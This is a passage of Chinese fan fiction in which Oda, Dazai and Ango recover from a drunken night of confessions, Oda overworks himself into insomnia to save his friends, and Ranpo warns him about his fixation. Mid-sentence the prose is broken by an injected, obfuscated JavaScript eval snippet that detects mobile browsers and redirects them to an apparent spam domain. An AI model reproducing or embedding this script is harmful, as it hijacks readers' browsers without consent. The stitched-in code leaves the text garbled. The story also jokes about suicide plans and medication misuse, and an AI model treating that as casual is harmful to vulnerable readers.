织田作之助看着倒是神色如常,他弯腰把僵坐在地上不敢对视的太宰和安吾扶起来,又拿出手机看了一眼时间:“又快晚上了,你们一会有什么打算?” 其实他倒是还挺愿意继续喝酒的,但是喝之前最好还是去吃点东西比较好。 “织田作,安吾,我忽然想起来港口mafia还有急事,我先走啦!” 太宰全程不敢看另外两人,一想起来他昨天还借着酒劲儿跟织田作和安吾说些“我很孤独”“我快死了”“想要你们要理解我”之类的话他就恨不得就此消失在这个世界上,再也没办法在酒吧里多待一秒,他低着头胡乱撂下一句话就脚步匆匆的跑走,离开的时候甚至还因为忘记了门已经被反锁而撞了一下。 安吾也没比太宰好到哪里去,他昨天为了把太宰君和织田作先生的羁绊绑得紧一点真的是把心里那点老底全都倒出来了,一想到自己昨天居然靠在织田作先生怀里抱着太宰君哭成那个样子…… 啊,不行了,等不了五步计划了,我现在就想离开这个世界。 “织田作先生,我也忽然有点急事,我先走了,我们之后再聊!”他也低着头仓皇逃离,爬台阶的时候还因为过于慌张而差点绊倒。 “太宰和安吾是害羞了吗?”织田作之助看着他们两个落荒而逃的背影后知后觉:“果然他们两个很可爱,要是真能一直……” “我之前……设计了一个五步跳楼计划。” “我想到了去死。这就是唯一一件能确定是我出自真心的事。” 脑海里忽然回想起昨天太宰和安吾低垂着眼睛说话的样子,织田作之助本来舒畅的心情蒙上了一层阴霾。 他们两个说的是真心话,这个世界让他们感到痛苦,织田作之助能感觉得出来。 这样下去我就要失去他们了…… “必须要救他们才行……” 接下来的几天里,安吾和太宰谁也没好意思主动和另外两个人联络,好在如今他们三个的工作单位并不重叠,所以在不想见面的时候真的可以做到完全不见,等到一个礼拜之后那股羞愤欲死的劲头过去,安吾终于别别扭扭地又一次发起了会议室邀请。 网络时代真好啊,不好意思见面还可以直接视频,安吾一边进入会议室一边在心里感慨。 视频对面的太宰这次终于不用戴着面具和变声器入镜了,虽然看起来还有点别扭,但是他好歹没有继续逃避,所以安吾已经很满意了。 “织田作先生这几天在群里都不太说话呢,他在忙什么?”他体贴地开启了一个不会让人回想起那天晚上的安全话题。 “不知道,我最近也没找过他。”太宰默契地接了下去:“可能在忙着改稿子吧,毕竟时间有限。” 说话间,也同样一个礼拜没见的织田作之助进入了会议室,果然他桌子的两边铺满了写满字的稿纸和团起来的废稿。 “晚上好,太宰,安吾。”他语气平常地和屏幕对面的两位好友打招呼。 然后对面的两个人立刻就炸了。 “织田作先生,你几天没睡觉了?” “织田作!你的黑眼圈简直可以去当熊猫了!” 这下他们两个也顾不上什么别不别扭了,对着神色憔悴的织田作之助都开始劝他去休息。 “织田作先生,你如今最重要的就是好好休息。”坂口安吾眉头微皱:“今天吃过晚饭我们就先直接跳到睡前故事环节吧。” 太宰对此表示同意:“对啊,织田作,改稿也不急在这一天的,今天先好好休息,明天写起来效率才会更高!” 对于两位好友的好意,织田作之助还是选择了拒绝:“让你们担心了,太宰,安吾。不过反正就算我躺下也还是睡不着,所以还不如把这段时间利用起来……” “织田作,你只是压力太大失眠了而已!绝对不可以就这样自暴自弃!”太宰治直接打断了织田作之助的狡辩,然后一锤定音:“而且你今天必须休息了,再这样下去在新人奖评选之前你的精神和身体都会出大问题!” 对面安吾和太宰如有实质的目光,织田作之助也忍不住感到些许心虚,最后他还是妥协了,在吃过晚饭之后就像是一个偷玩手机被抓包的孩子一样被两位“家长”押着躺进了被窝。 “但是我真的睡不着……”他试图为自己辩解。 “没关系,肯定是没有睡前故事不习惯才会这样的。”太宰治非常熟练地拿出了自己的自编致郁小故事翻开新的一页:“接下来就是太宰老师讲故事的时间啦!” 半个小时过去。 虽然太宰的声线非常柔和,虽然织田作之助已经配合地闭上眼睛,虽然他尽量放缓了自己的呼吸,但是安吾和太宰也不至于连一个人真睡假睡都分辨不出来。 “看来织田作先生是真的失眠了,这下难办了。”坂口安吾眉头紧锁:“可能是焦虑导致的短期失眠,安眠药都是有成瘾性的,织田作先生还年轻,还是能不用就不用吧……” 太宰治毫不客气地拆台:“原来你还知道啊?说的就好像某个年轻人没有把安眠药当饭吃似的。” “那都是以前我咖啡因摄入过量……”坂口安吾解释到一半,忽然反应过来:“太宰君,你怎么还偷偷调查我?” “毕竟安吾的计划我还一无所知呢,怎么可能不调查啊!”太宰丝毫不觉得心虚:“你要是想让我停止调查就乖乖告诉我,你的计划到底进行到第几步了?” “你这个打算跳楼的人有什么资格说我?”安吾毫不客气地发动了反击:“我还曾经听说港口mafia的首领一天只睡一个小时呢!你敢说你就没把药当饭吃?” “我只是喝提神药剂而已,你还眠眠打破和安眠药对着磕呢!请问你到底在干什么?把自己当成小白鼠进行药理pk?” “那你还曾经为了自鲨把增压药和降压药混在一起喝……” “你!你去过森先生的诊所了?你用堕落论作弊!”太宰治不服气地反驳:“我自鲨从来都大大方方的,但是安吾却打算悄无声息的去死……” 织田作之助实在躺不住了,他掀开被子坐起来叹一口气。 刚才还吵得互不相让的两人立刻收声,安吾一脸内疚地看过来:“抱歉织田作先生,是我们不好,吵到你休息了。 你总是失眠也不是办法,我正好认识一位主攻这方面的神经内科专家,等明天晚上我带你去看看吧?” 太宰治也跟着出主意:“不知道有没有能治疗失眠的异能力者,我会让欧洲那边的人多留意的。” “你们不用麻烦了,太宰,安吾。”织田作之助又坐回桌子旁拧开笔盖,在他们二人担忧的目光中,他又埋头继续写下去:“我睡不着只是因为我心里记挂着些事情而已,等完成了我自然就会好的。” 已经下定决心的织田作之助没有再听从两位好友的劝告,固执地提笔毅然写到了深夜。 其实织田作之助的失眠症不止让安吾和太宰担忧不已,就连武装侦探社的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068225|191774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同伴们也跟着操碎了心。 虽然织田作之助从来没有因为自己的兴趣爱好耽误过工作,也从来没有以此为借口请假或者早退,但是他自从一个星期之前就日渐明显的黑眼圈还是引起了大家的担忧。 更何况这个本来就一直没什么表情的家伙如今居然能让人硬是从那张脸上看出几分心事重重的味道,这件事怎么想都不太寻常。 “织田,最近你是不是要到截稿日所以压力太大了?”国木田看着就连午休时间都低着头笔耕不缀的织田作之助终究还是忍不住劝了他两句: “你如果实在忙不过来我可以给你批两天假,但是你最近看着不太对劲,没事吧?” “多谢你,国木田。”织田作之助没有推辞对方的好意,最近他的时间的确非常紧张,他一边低头收拾东西一边回答:“我没事,只是最近有些事情比较着急而已,也许忙过了这阵就会好,也许……” 后面的话他没说下去,此时他已经收拾了东西准备离开了:“这次是我欠你一个人情,之后我会想办法还上的。” “这种事情你不用算的这么清楚,不过是同事间互相帮忙而已。”国木田看着织田作之助认真地回答他。 “织田,你最近变成这样不是为了新人奖评选的事吧?”就在织田作之助打算起身离开的时候,一直坐在椅子上喝波子汽水的名侦探忽然开口叫住了他。 织田作之助沉默片刻,还是点头承认:“是有一件更重要的事。” “织田,很危险哦。”名侦探把玩着那颗晶莹剔透的玻璃珠子,漫不经心地发出了警告:“我劝你尽力就好。” 织田作之助这次几乎没怎么思索,反驳的话脱口而出:“他们两个都是我很重要的朋友,我相信他们不会做出对我还有侦探社不利的事,我不能放弃他们,如果社长真的不能接受的话我……” 看着几乎是瞬间就紧绷神经进入防御状态的织田作之助,江户川乱步轻叹一口气放下手里的玻璃珠子:“唉,所以我才说危险……我说的不是侦探社或者你将遭遇不测,织田君。” 名侦探终于认真起来,他睁开翠绿色的眼眸:“我说的是你,你现在的状态很危险,你自己没有发现吗?” 织田作之助没有说话。 江户川乱步也没有在意,他自顾自地说了下去:“织田,你这个人的个性不知道应该说是固执还是极端,凡是认定下来的事就无论如何都要坚持做下去,当一个好人也好,写小说也好,一定要一条路走到黑,从来不给自己留下任何余地。 要是当不成好人的话,要是写不成小说的话,我就去死——一直以来你心里就是这么想的吧?” 织田作之助不自觉握紧手里装着稿纸的文件包,沉默片刻还是承认了:“是又如何?” “你这样的性格,还是从那样腥风血雨的环境里急流勇退,说实话你本人能好好的活到现在并且实现了理想才是一个奇迹,更多的可能性应该是随便被哪个势力利用一下理想破灭然后就去送死。 不过你既然已经幸运地拥有了理想的新生活,那些可能性我就不和你讨论了,我相信以你的能力你能同时成为才华横溢的作家和助人为乐的侦探。” 江户川乱步走到织田作之助面前,翠绿色的眼眸透出能洞察一切的锐利目光,他认真地看向织田作之助的眼睛: “人把生命寄托在理想和信念上尚且能活,要是把生命寄托在其他人的生命上呢? 你那两个朋友是个什么状态你比我清楚,你心里到底怎么想的?‘要是救不回他们两个的话——我就去死’吗?”